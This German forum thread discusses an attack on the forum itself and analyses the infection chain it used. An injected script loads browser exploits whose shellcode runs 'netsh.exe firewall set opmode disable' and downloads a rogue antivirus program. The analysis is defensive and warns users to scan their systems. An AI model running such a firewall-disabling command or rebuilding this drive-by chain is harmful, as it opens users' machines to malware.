Muss also garnicht sein, das der Wirtsdienst schon die Rechte hat, auch wenns dass natürlich einfacher macht.
-
phlox81 schrieb:
Auch die Rechte lassen sich exploiten
Wenn man den Exploit schon mal hat, kann man auch gleich die benötigten Rechte dazu sich zusammenklauen.
Muss also garnicht sein, das der Wirtsdienst schon die Rechte hat, auch wenns dass natürlich einfacher macht.Nur wenn der entsprechende Dienst Sicherheitslöcher hat, die nicht geschlossen sind. Das ist in 0815-LAMP-Setups mit Distributionen mit brauchbarem Qualitätsmanagement leicht auszuschließen.
-
Im laufe der letzten Woche habe ich mich daran gemacht den Exploit Vektor des iframes genauer unter die Lupe zu nehmen.
Nach dem laden wird ein neues script HTML element erstellt und die attribute src und defer gesetzt. Danach wird das body element gesucht und das script element als Kind element angehängt. Danach wird neuer Javascript Code von dem issue.php script nachgeladen. Per Javascript werden sehr vielen Sicherheitslücken versucht auszunutzen. Darunter sind sehr viele alte Bekannte. Die exploits sind vornehmlich auf den IE ausgerichtet aber auch andere sind nicht gefeit wenn diese z.B. Adobe Acrobat für PDFs automatisch aufrufen.
Am Ende läuft alles auf den selben payload (shellcode) hinaus welcher folgendes tut:
-
Lädt folgende funktionen aus DLLs:
-
kernel32:ExitThread
-
kernel32:GetModuleHandleA
-
kernel32:LoadLibraryA
-
kernel32:WinExec
-
urlmon:URLDownloadToFileA
-
Führt 'netsh.exe firewall set opmode disable' aus
-
Lädt 1 malware exe nach
-
Führt malware exe aus
-
Ruft ExitThread(0) auf
Die malware exe die heruntergeladen wurde ist ein sogenanntes Rogue security software Programm. In dem getesteten Fall handelte es sich um 'AntiVirus XP 2010" und hat sich relativ gut im System versteckt.
Im großen und ganzen kann man schon sagen das dies einer der 'Professionellen' Angriffe auf das Forum war.
Es ist jedem mit Windows System zu raten sein System mit einem aktuellen Virenscanner zu scannen. Die erkennung des Schädlings ist leider recht miserabel.
Hier ist eine Übersicht welche der aktuellen Virenscanner den schädling erkannt hat:
http://www.virustotal.com/analisis/d27a1e9933da1741727f65499b10ee54edbb69fc9b26c1fb14288ff3a1f0230b-1270625856
-